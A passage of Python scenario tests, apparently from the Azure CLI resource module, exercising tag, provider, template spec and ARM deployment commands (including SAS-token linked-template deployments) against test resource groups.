after_delete_tags_dict) ]) # 4. clean up: delete the existing tags self.cmd('tag delete --resource-id {resource_id} -y', checks=self.is_empty()) def test_tag_get_subscription(self): subscription_id = '/subscriptions/' + self.get_subscription_id() self.utility_tag_get_scope(resource_id=subscription_id) @ResourceGroupPreparer(name_prefix='test_tag_get_resourcegroup', location='westus') def test_tag_get_resourcegroup(self, resource_group): resource_group_id = '/subscriptions/' + self.get_subscription_id() + '/resourceGroups/' + resource_group self.utility_tag_get_scope(resource_id=resource_group_id) @ResourceGroupPreparer(name_prefix='test_tag_get_resource', location='westus') def test_tag_get_resource(self, resource_group_location): self.kwargs.update({ 'loc': resource_group_location, 'vault': self.create_random_name('vault-', 30) }) resource = self.cmd( 'resource create -g {rg} -n {vault} --resource-type Microsoft.RecoveryServices/vaults --is-full-object -p "{{\\"properties\\":{{}},\\"location\\":\\"{loc}\\",\\"sku\\":{{\\"name\\":\\"Standard\\"}}}}"', checks=self.check('name', '{vault}')).get_output_in_json() self.utility_tag_get_scope(resource_id=resource['id']) # Utility method to test Get for Tags within subscription, resource group and tracked resource. def utility_tag_get_scope(self, resource_id): self.kwargs.update({ 'resource_id': resource_id, 'original_tags': 'cliName1=cliValue1 cliName2=cliValue2' }) # setup original self.cmd('tag create --resource-id {resource_id} --tags {original_tags}') # test get operation expected_tags_dict = {'cliName1': 'cliValue1', 'cliName2': 'cliValue2'} self.cmd('tag list --resource-id {resource_id}', checks=[ self.check('properties.tags', expected_tags_dict) ]) # clean up: delete the existing tags self.cmd('tag delete --resource-id {resource_id} -y', checks=self.is_empty()) class ProviderRegistrationTest(ScenarioTest): def test_provider_registration(self): self.kwargs.update({'prov': 'Microsoft.ClassicInfrastructureMigrate'}) result = self.cmd('provider show -n {prov}').get_output_in_json() if result['registrationState'] == 'Unregistered': self.cmd('provider register -n {prov}') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'] in ['Registering', 'Registered']) self.cmd('provider unregister -n {prov}') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'] in ['Unregistering', 'Unregistered']) else: self.cmd('provider unregister -n {prov}') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'] in ['Unregistering', 'Unregistered']) self.cmd('provider register -n {prov}') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'] in ['Registering', 'Registered']) def test_provider_registration_rpaas(self): self.kwargs.update({'prov': 'Microsoft.Confluent'}) result = self.cmd('provider show -n {prov}').get_output_in_json() if result['registrationState'] == 'Unregistered': with self.assertRaisesRegexp(CLIError, '--accept-terms must be specified'): self.cmd('provider register -n {prov}') self.cmd('provider register -n {prov} --accept-terms') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'], 'Registered') self.cmd('provider unregister -n {prov}') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'] in ['Unregistering', 'Unregistered']) else: self.cmd('provider unregister -n {prov}') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'] in ['Unregistering', 'Unregistered']) with self.assertRaisesRegexp(CLIError, '--accept-terms must be specified'): self.cmd('provider register -n {prov}') self.cmd('provider register -n {prov} --accept-terms') result = self.cmd('provider show -n {prov}').get_output_in_json() self.assertTrue(result['registrationState'], 'Registered') def test_provider_registration_mg(self): self.kwargs.update({'prov': 'Microsoft.ClassicInfrastructureMigrate'}) result = self.cmd('provider register -n {prov} --m testmg') self.assertTrue(result, None) class ProviderOperationTest(ScenarioTest): def test_provider_operation(self): self.cmd('provider operation show --namespace microsoft.compute', checks=[ self.check('id', '/providers/Microsoft.Authorization/providerOperations/Microsoft.Compute'), self.check('type', 'Microsoft.Authorization/providerOperations') ]) self.cmd('provider operation show --namespace microsoft.compute', checks=[ self.check('id', '/providers/Microsoft.Authorization/providerOperations/Microsoft.Compute'), self.check('type', 'Microsoft.Authorization/providerOperations') ]) self.cmd('provider operation show --namespace microsoft.storage', checks=[ self.check("resourceTypes|[?name=='storageAccounts/blobServices/containers/blobs']|[0].operations[0].isDataAction", True), ]) class TemplateSpecsTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_template_specs_list', parameter_name='resource_group_one', location='westus') @ResourceGroupPreparer(name_prefix='cli_test_template_specs_list', location='westus') def test_list_template_spec(self, resource_group, resource_group_one, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-list-template-spec', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'rg': resource_group, 'rg1': resource_group_one, 'resource_group_location': resource_group_location, }) template_spec_in_rg = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"').get_output_in_json() template_spec_in_rg1_2 = self.cmd('ts create -g {rg1} -n {template_spec_name} -v 2.0 -l {resource_group_location} -f "{tf}"').get_output_in_json() template_spec_in_rg1_3 = self.cmd('ts create -g {rg1} -n {template_spec_name} -v 3.0 -l {resource_group_location} -f "{tf}"').get_output_in_json() self.kwargs['template_spec_id_rg'] = template_spec_in_rg['id'].replace('/versions/1.0', '') self.kwargs['template_spec_version_id_rg1_2'] = template_spec_in_rg1_2['id'] self.kwargs['template_spec_version_id_rg1_3'] = template_spec_in_rg1_3['id'] self.kwargs['template_spec_id_rg1'] = template_spec_in_rg1_2['id'].replace('/versions/2.0', '') self.cmd('ts list -g {rg1}', checks=[ self.check("length([?id=='{template_spec_id_rg}'])", 0), self.check("length([?id=='{template_spec_id_rg1}'])", 1), ]) self.cmd('ts list -g {rg}', checks=[ self.check("length([?id=='{template_spec_id_rg}'])", 1), self.check("length([?id=='{template_spec_id_rg1}'])", 0) ]) self.cmd('ts list -g {rg1} -n {template_spec_name}', checks=[ self.check('length([])', 2), self.check("length([?id=='{template_spec_version_id_rg1_2}'])", 1), self.check("length([?id=='{template_spec_version_id_rg1_3}'])", 1) ]) self.cmd('ts list', checks=[ self.check("length([?id=='{template_spec_id_rg}'])", 1), self.check("length([?id=='{template_spec_id_rg1}'])", 1), ]) # clean up self.cmd('ts delete --template-spec {template_spec_id_rg} --yes') self.cmd('ts delete --template-spec {template_spec_id_rg1} --yes') @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_create_template_specs(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-create-template-spec', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'template_spec_with_multiline_strings.json').replace('\\', '\\\\'), 'resource_group_location': resource_group_location, 'description': '"AzCLI test root template spec"', 'version_description': '"AzCLI test version of root template spec"', }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}" --description {description} --version-description {version_description}', checks=[ self.check('template.variables.provider', "[split(parameters('resource'), '/')[0]]"), self.check('template.variables.resourceType', "[replace(parameters('resource'), concat(variables('provider'), '/'), '')]"), self.check('template.variables.hyphenedName', ("[format('[0]-[1]-[2]-[3]-[4]-[5]', parameters('customer'), variables('environments')[parameters('environment')], variables('locations')[parameters('location')], parameters('group'), parameters('service'), if(equals(parameters('kind'), ''), variables('resources')[variables('provider')][variables('resourceType')], variables('resources')[variables('provider')][variables('resourceType')][parameters('kind')]))]")), self.check('template.variables.removeOptionalsFromHyphenedName', "[replace(variables('hyphenedName'), '--', '-')]"), self.check('template.variables.isInstanceCount', "[greater(parameters('instance'), -1)]"), self.check('template.variables.hyphenedNameAfterInstanceCount', "[if(variables('isInstanceCount'), format('[0]-[1]', variables('removeOptionalsFromHyphenedName'), string(parameters('instance'))), variables('removeOptionalsFromHyphenedName'))]"), self.check('template.variables.name', "[if(parameters('useHyphen'), variables('hyphenedNameAfterInstanceCount'), replace(variables('hyphenedNameAfterInstanceCount'), '-', ''))]") ]).get_output_in_json() with self.assertRaises(IncorrectUsageError): self.cmd('ts create --name {template_spec_name} -g {rg} -l {resource_group_location} --template-file "{tf}"') # clean up self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', '') self.cmd('ts delete --template-spec {template_spec_id} --yes') @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_create_template_specs_with_artifacts(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-create-template-spec', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'template_spec_with_artifacts.json').replace('\\', '\\\\'), 'resource_group_location': resource_group_location, 'display_name': self.create_random_name('create-spec', 20), 'description': '"AzCLI test root template spec"', 'version_description': '"AzCLI test version of root template spec"', }) path = os.path.join(curr_dir, 'artifacts') if not os.path.exists(path): files = ['createKeyVault.json', 'createKeyVaultWithSecret.json', 'createResourceGroup.json'] os.makedirs(path) for f in files: shutil.copy(os.path.join(curr_dir, f), path) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}" -d {display_name} --description {description} --version-description {version_description}', checks=[ self.check('artifacts.length([])', 3), self.check_pattern('artifacts[0].path', 'artifacts.createResourceGroup.json'), self.check_pattern('artifacts[1].path', 'artifacts.createKeyVault.json'), self.check_pattern('artifacts[2].path', 'artifacts.createKeyVaultWithSecret.json') ]).get_output_in_json() self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -f "{tf}" --yes', checks=[ self.check('description', None), self.check('display_name', None), ]) # clean up self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', '') self.cmd('ts delete --template-spec {template_spec_id} --yes') @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_update_template_specs(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-update-template-spec', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'tf1': os.path.join(curr_dir, 'template_spec_with_artifacts.json').replace('\\', '\\\\'), 'resource_group_location': resource_group_location, 'display_name': self.create_random_name('create-spec', 20), 'description': '"AzCLI test root template spec"', 'version_description': '"AzCLI test version of root template spec"', }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"', checks=[ self.check('name', '1.0'), self.check('description', None), self.check('display_name', None), self.check('artifacts.length([])', 0)]).get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', '') self.cmd('ts update -s {template_spec_id} --display-name {display_name} --description {description} --yes', checks=[ self.check('name', self.kwargs['template_spec_name']), self.check('description', self.kwargs['description'].replace('"', '')), self.check('displayName', self.kwargs['display_name'].replace('"', '')) ]) self.cmd('ts update -s {template_spec_version_id} --version-description {version_description} --yes', checks=[ self.check('name', '1.0'), self.check('description', self.kwargs['version_description'].replace('"', '')), self.check('artifacts', None) ]) path = os.path.join(curr_dir, 'artifacts') if not os.path.exists(path): files = ['createKeyVault.json', 'createKeyVaultWithSecret.json', 'createResourceGroup.json'] os.makedirs(path) for f in files: shutil.copy(os.path.join(curr_dir, f), path) self.cmd('ts update -g {rg} -n {template_spec_name} -v 1.0 -f "{tf1}" --yes', checks=[ self.check('description', self.kwargs['version_description'].replace('"', '')), self.check('artifacts.length([])', 3), self.check_pattern('artifacts[0].path', 'artifacts.createResourceGroup.json'), self.check_pattern('artifacts[1].path', 'artifacts.createKeyVault.json'), self.check_pattern('artifacts[2].path', 'artifacts.createKeyVaultWithSecret.json') ]) # clean up self.cmd('ts delete --template-spec {template_spec_id} --yes') @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_show_template_spec(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-get-template-spec', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'resource_group_location': resource_group_location, }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"', checks=[ self.check('name', '1.0')]).get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', '') ts_cnt = self.cmd('ts show -g {rg} --name {template_spec_name}').get_output_in_json() assert len(ts_cnt) > 0 ts_cnt_by_id = self.cmd('ts show --template-spec {template_spec_id}').get_output_in_json() assert len(ts_cnt_by_id) > 0 assert len(ts_cnt) == len(ts_cnt_by_id) # clean up self.cmd('ts delete --template-spec {template_spec_id} --yes') @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_delete_template_spec(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-list-template-spec', 60) self.kwargs.update({ 'resource_group_location': resource_group_location, 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"', checks=self.check('name', '1.0')).get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', '') self.cmd('ts show --template-spec {template_spec_version_id}') self.cmd('ts show --template-spec {template_spec_id}') self.cmd('ts delete --template-spec {template_spec_version_id} --yes') self.cmd('ts list -g {rg}', checks=[ self.check("length([?id=='{template_spec_id}'])", 1), self.check("length([?id=='{template_spec_version_id}'])", 0)]) self.cmd('ts delete --template-spec {template_spec_id} --yes') self.cmd('ts list -g {rg}', checks=self.check("length([?id=='{template_spec_id}'])", 0)) @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_template_spec_create_and_update_with_tags(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-template-spec-tags', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'resource_group_location': resource_group_location, 'display_name': self.create_random_name('create-spec', 20), 'version_tags': {'cliName1': 'cliValue1', 'cliName4': 'cliValue4'} }) # Tags should be applied to both the parent template spec and template spec version if neither existed: result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}" --tags cli-test=test').get_output_in_json() self.kwargs['template_spec_version_one_id'] = result['id'] self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', '') self.cmd('ts show --template-spec {template_spec_version_one_id}', checks=[self.check('tags', {'cli-test': 'test'})]) self.cmd('ts show --template-spec {template_spec_id}', checks=[self.check('tags', {'cli-test': 'test'})]) # New template spec version should inherit tags from parent template spec if tags are not specified: self.cmd('ts create -g {rg} -n {template_spec_name} -v 2.0 -l {resource_group_location} -f "{tf}"') self.kwargs['template_spec_version_two_id'] = result['id'].replace('/versions/1.0', '/versions/2.0') self.cmd('ts show --template-spec {template_spec_version_two_id}', checks=[self.check('tags', {'cli-test': 'test'})]) # Tags should only apply to template spec version (and not the parent template spec) if parent already exist: self.cmd('ts create -g {rg} -n {template_spec_name} -v 3.0 -l {resource_group_location} -f "{tf}" --tags cliName1=cliValue1 cliName4=cliValue4') self.kwargs['template_spec_version_three_id'] = result['id'].replace('/versions/1.0', '/versions/3.0') self.cmd('ts show --template-spec {template_spec_version_three_id}', checks=[self.check('tags', '{version_tags}')]) self.cmd('ts show --template-spec {template_spec_id}', checks=[self.check('tags', {'cli-test': 'test'})]) # When updating a template spec, tags should only be removed if explicitely empty. Create should override. self.cmd('ts update -g {rg} -n {template_spec_name} -v 1.0 -f "{tf}" --yes') self.cmd('ts show --template-spec {template_spec_version_one_id}', checks=[self.check('tags', {'cli-test': 'test'})]) self.cmd('ts update -g {rg} -n {template_spec_name} -v 1.0 -f "{tf}" --tags "" --yes') self.cmd('ts show --template-spec {template_spec_version_one_id}', checks=[self.check('tags', {})]) self.cmd('ts update -g {rg} -n {template_spec_name} -v 2.0 -f "{tf}" --tags --yes') self.cmd('ts show --template-spec {template_spec_version_two_id}', checks=[self.check('tags', {})]) self.cmd('ts create -g {rg} -n {template_spec_name} -v 3.0 -f "{tf}" --tags --yes') self.cmd('ts show --template-spec {template_spec_version_three_id}', checks=[self.check('tags', {})]) self.cmd('ts show --template-spec {template_spec_id}', checks=[self.check('tags', {'cli-test': 'test'})]) self.cmd('ts create -g {rg} -n {template_spec_name} --yes') self.cmd('ts show --template-spec {template_spec_id}', checks=[self.check('tags', {})]) # clean up self.cmd('ts delete --template-spec {template_spec_id} --yes') class TemplateSpecsExportTest(LiveScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_template_specs', location='westus') def test_export_template_spec(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) dir_name = self.create_random_name('TemplateSpecExport', 30) dir_name2 = self.create_random_name('TemplateSpecExport', 30) template_spec_name = self.create_random_name('cli-test-export-template-spec', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'tf': os.path.join(curr_dir, 'template_spec_with_artifacts.json').replace('\\', '\\\\'), 'resource_group_location': resource_group_location, 'output_folder': os.path.join(curr_dir, dir_name).replace('\\', '\\\\'), 'output_folder2': os.path.join(curr_dir, dir_name2).replace('\\', '\\\\'), }) path = os.path.join(curr_dir, 'artifacts') if not os.path.exists(path): files = ['createKeyVault.json', 'createKeyVaultWithSecret.json', 'createResourceGroup.json'] os.makedirs(path) for f in files: shutil.copy(os.path.join(curr_dir, f), path) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"', checks=self.check('name', '1.0')).get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] os.makedirs(self.kwargs['output_folder']) output_path = self.cmd('ts export -g {rg} --name {template_spec_name} --version 1.0 --output-folder {output_folder}').get_output_in_json() template_file = os.path.join(output_path, (self.kwargs['template_spec_name'] + '.json')) artifactFile = os.path.join(output_path, 'artifacts' + os.sep + 'createResourceGroup.json') artifactFile1 = os.path.join(output_path, 'artifacts' + os.sep + 'createKeyVault.json') artifactFile2 = os.path.join(output_path, 'artifacts' + os.sep + 'createKeyVaultWithSecret.json') self.assertTrue(os.path.isfile(template_file)) self.assertTrue(os.path.isfile(artifactFile)) self.assertTrue(os.path.isfile(artifactFile1)) self.assertTrue(os.path.isfile(artifactFile2)) os.makedirs(self.kwargs['output_folder2']) output_path2 = self.cmd('ts export --template-spec {template_spec_version_id} --output-folder {output_folder2}').get_output_in_json() _template_file = os.path.join(output_path2, (self.kwargs['template_spec_name'] + '.json')) _artifactFile = os.path.join(output_path2, 'artifacts' + os.sep + 'createResourceGroup.json') _artifactFile1 = os.path.join(output_path2, 'artifacts' + os.sep + 'createKeyVault.json') _artifactFile2 = os.path.join(output_path2, 'artifacts' + os.sep + 'createKeyVaultWithSecret.json') self.assertTrue(os.path.isfile(_template_file)) self.assertTrue(os.path.isfile(_artifactFile)) self.assertTrue(os.path.isfile(_artifactFile1)) self.assertTrue(os.path.isfile(_artifactFile2))\ class DeploymentTestsWithQueryString(LiveScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_query_str_rg', location='eastus') @StorageAccountPreparer(name_prefix='testquerystrrg', location='eastus', kind='StorageV2') def test_resource_group_level_deployment_with_query_string(self, resource_group, resource_group_location, storage_account): container_name = self.create_random_name('querystr', 20) curr_dir = os.path.dirname(os.path.realpath(__file__)) tf = os.path.join(curr_dir, 'resource_group_level_linked_template.json') linked_template = os.path.join(curr_dir, 'storage_account_linked_template.json') self.kwargs.update({ 'resource_group': resource_group, 'storage_account': storage_account, 'container_name': container_name, 'tf': tf, 'linked_tf': linked_template }) self.kwargs['storage_key'] = str(self.cmd('az storage account keys list -n {storage_account} -g {resource_group} --query "[0].value"').output) self.cmd('storage container create -n {container_name} --account-name {storage_account} --account-key {storage_key}') self.cmd('storage blob upload -c {container_name} -f "{tf}" -n mainTemplate --account-name {storage_account} --account-key {storage_key}') self.cmd('storage blob upload -c {container_name} -f "{linked_tf}" -n storage_account_linked_template.json --account-name {storage_account} --account-key {storage_key}') from datetime import datetime, timedelta self.kwargs['expiry'] = (datetime.utcnow() + timedelta(hours=12)).strftime('%Y-%m-%dT%H:%MZ') self.kwargs['sas_token'] = self.cmd( 'storage container generate-sas --account-name {storage_account} --account-key {storage_key} --name {container_name} --permissions rw --expiry {expiry} -otsv').output.strip() self.kwargs['blob_url'] = self.cmd( 'storage blob url -c {container_name} -n mainTemplate --account-name {storage_account} --account-key {storage_key}').output.strip() self.cmd('deployment group validate -g {resource_group} --template-uri {blob_url} --query-string "{sas_token}" --parameters projectName=qsproject', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment group create -g {resource_group} --template-uri {blob_url} --query-string "{sas_token}" --parameters projectName=qsproject', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) @ResourceGroupPreparer(name_prefix='cli_test_query_str_sub', location='eastus') @StorageAccountPreparer(name_prefix='testquerystrsub', location='eastus', kind='StorageV2') def test_subscription_level_deployment_with_query_string(self, resource_group, resource_group_location, storage_account): container_name = self.create_random_name('querystr', 20) curr_dir = os.path.dirname(os.path.realpath(__file__)) tf = os.path.join(curr_dir, 'subscription_level_linked_template.json') linked_tf = os.path.join(curr_dir, 'createResourceGroup.json') linked_tf1 = os.path.join(curr_dir, 'createKeyVault.json') linked_tf2 = os.path.join(curr_dir, 'createKeyVaultWithSecret.json') self.kwargs.update({ 'resource_group': resource_group, 'resource_group_location': resource_group_location, 'storage_account': storage_account, 'container_name': container_name, 'tf': tf, 'linked_tf': linked_tf, 'linked_tf1': linked_tf1, 'linked_tf2': linked_tf2 }) self.kwargs['storage_key'] = str(self.cmd('az storage account keys list -n {storage_account} -g {resource_group} --query "[0].value"').output) self.cmd('storage container create -n {container_name} --account-name {storage_account} --account-key {storage_key}') self.cmd('storage blob upload -c {container_name} -f "{tf}" -n mainTemplate --account-name {storage_account} --account-key {storage_key}') self.cmd('storage blob upload -c {container_name} -f "{linked_tf}" -n createResourceGroup.json --account-name {storage_account} --account-key {storage_key}') self.cmd('storage blob upload -c {container_name} -f "{linked_tf1}" -n createKeyVault.json --account-name {storage_account} --account-key {storage_key}') self.cmd('storage blob upload -c {container_name} -f "{linked_tf2}" -n createKeyVaultWithSecret.json --account-name {storage_account} --account-key {storage_key}') from datetime import datetime, timedelta self.kwargs['expiry'] = (datetime.utcnow() + timedelta(hours=12)).strftime('%Y-%m-%dT%H:%MZ') self.kwargs['sas_token'] = self.cmd( 'storage container generate-sas --account-name {storage_account} --name {container_name} --permissions dlrw --expiry {expiry} --https-only -otsv').output.strip() self.kwargs['blob_url'] = self.cmd( 'storage blob url -c {container_name} -n mainTemplate --account-name {storage_account}').output.strip() self.kwargs['key_vault'] = self.create_random_name('querystrKV', 20) self.cmd('deployment sub validate -l {resource_group_location} --template-uri {blob_url} --query-string "{sas_token}" --parameters keyVaultName="{key_vault}" rgName="{resource_group}" rgLocation="{resource_group_location}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment sub create -l {resource_group_location} --template-uri {blob_url} --query-string "{sas_token}" --parameters keyVaultName="{key_vault}" rgName="{resource_group}" rgLocation="{resource_group_location}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) class DeploymentTestAtSubscriptionScope(ScenarioTest): def tearDown(self): self.cmd('policy assignment delete -n location-lock') self.cmd('policy definition delete -n policy2') self.cmd('group delete -n cli_test_subscription_level_deployment --yes') @AllowLargeResponse(4096) def test_subscription_level_deployment(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'subscription_level_template.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'subscription_level_parameters.json').replace('\\', '\\\\'), # params-uri below is the raw file url of the subscription_level_parameters.json above 'params_uri': 'https://raw.githubusercontent.com/Azure/azure-cli/dev/src/azure-cli/azure/cli/command_modules/resource/tests/latest/subscription_level_parameters.json', 'dn': self.create_random_name('azure-cli-subscription_level_deployment', 60), 'dn2': self.create_random_name('azure-cli-subscription_level_deployment', 60), 'storage-account-name': self.create_random_name('armbuilddemo', 20) }) self.cmd('deployment sub validate --location WestUS --template-file "{tf}" --parameters @"{params}" --parameters storageAccountName="{storage-account-name}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment sub validate --location WestUS --template-file "{tf}" --parameters "{params_uri}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment sub create -n {dn} --location WestUS --template-file "{tf}" --parameters @"{params}" --parameters storageAccountName="{storage-account-name}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), ]) self.cmd('deployment sub list', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment sub list --filter "provisioningState eq \'Succeeded\'"', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment sub show -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment sub export -n {dn}', checks=[ ]) self.cmd('deployment operation sub list -n {dn}', checks=[ self.check('length([])', 5) ]) self.cmd('deployment sub create -n {dn2} --location WestUS --template-file "{tf}" --parameters @"{params}" ' '--parameters storageAccountName="{storage-account-name}" --no-wait') self.cmd('deployment sub cancel -n {dn2}') self.cmd('deployment sub show -n {dn2}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) @AllowLargeResponse(4096) def test_subscription_level_deployment_old_command(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) deployment_name = self.create_random_name('azure-cli-subscription_level_deployment', 60) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'subscription_level_template.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'subscription_level_parameters.json').replace('\\', '\\\\'), # params-uri below is the raw file url of the subscription_level_parameters.json above 'params_uri': 'https://raw.githubusercontent.com/Azure/azure-cli/dev/src/azure-cli/azure/cli/command_modules/resource/tests/latest/subscription_level_parameters.json', 'dn': deployment_name, 'dn2': self.create_random_name('azure-cli-subscription_level_deployment', 60), 'storage-account-name': self.create_random_name('armbuilddemo', 20) }) self.cmd('deployment validate --location WestUS --template-file "{tf}" --parameters @"{params}" --parameters storageAccountName="{storage-account-name}" ', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment validate --location WestUS --template-file "{tf}" --parameters "{params_uri}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment create -n {dn} --location WestUS --template-file "{tf}" --parameters @"{params}" --parameters storageAccountName="{storage-account-name}" ', checks=[ self.check('properties.provisioningState', 'Succeeded'), ]) self.cmd('deployment list --query "[?name == \'{}\']"'.format(deployment_name), checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment list --filter "provisioningState eq \'Succeeded\'" --query "[?name == \'{}\']"'.format(deployment_name), checks=[ self.check('[0].name', '{dn}') ]) self.cmd('deployment show -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment export -n {dn}', checks=[ ]) self.cmd('deployment operation list -n {dn}', checks=[ self.check('length([])', 5) ]) self.cmd('deployment create -n {dn2} --location WestUS --template-file "{tf}" --parameters @"{params}" ' '--parameters storageAccountName="{storage-account-name}" --no-wait') self.cmd('deployment cancel -n {dn2}') self.cmd('deployment show -n {dn2}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) class DeploymentTestAtResourceGroup(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_resource_group_deployment') def test_resource_group_deployment(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'tf_multiline': os.path.join(curr_dir, 'simple_deploy_multiline.json').replace('\\', '\\\\'), 'tf_invalid': os.path.join(curr_dir, 'simple_deploy_invalid.json').replace('\\', '\\\\'), 'extra_param_tf': os.path.join(curr_dir, 'simple_extra_param_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'simple_deploy_parameters.json').replace('\\', '\\\\'), 'params_invalid': os.path.join(curr_dir, 'simple_deploy_parameters_invalid.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-resource-group-deployment', 60), 'dn2': self.create_random_name('azure-cli-resource-group-deployment', 60), 'Japanese-characters-tf': os.path.join(curr_dir, 'Japanese-characters-template.json').replace('\\', '\\\\') }) self.cmd('deployment group validate --resource-group {rg} --template-file "{tf}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment group validate --resource-group {rg} --template-file "{Japanese-characters-tf}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment group validate --resource-group {rg} --template-file "{tf_multiline}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) with self.assertRaises(CLIError) as err: self.cmd('deployment group validate --resource-group {rg} --template-file "{extra_param_tf}" --parameters @"{params}" --no-prompt true') self.assertTrue("Deployment template validation failed" in str(err.exception)) with self.assertRaises(CLIError) as err: self.cmd('deployment group validate --resource-group {rg} --template-file "{extra_param_tf}" --parameters @"{params}"') self.assertTrue("Missing input parameters" in str(err.exception)) with self.assertRaises(CLIError) as err: self.cmd('deployment group validate --resource-group {rg} --template-file "{extra_param_tf}" --parameters @"{params}" --no-prompt false') self.assertTrue("Missing input parameters" in str(err.exception)) self.cmd('deployment group create --resource-group {rg} -n {dn} --template-file "{tf}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 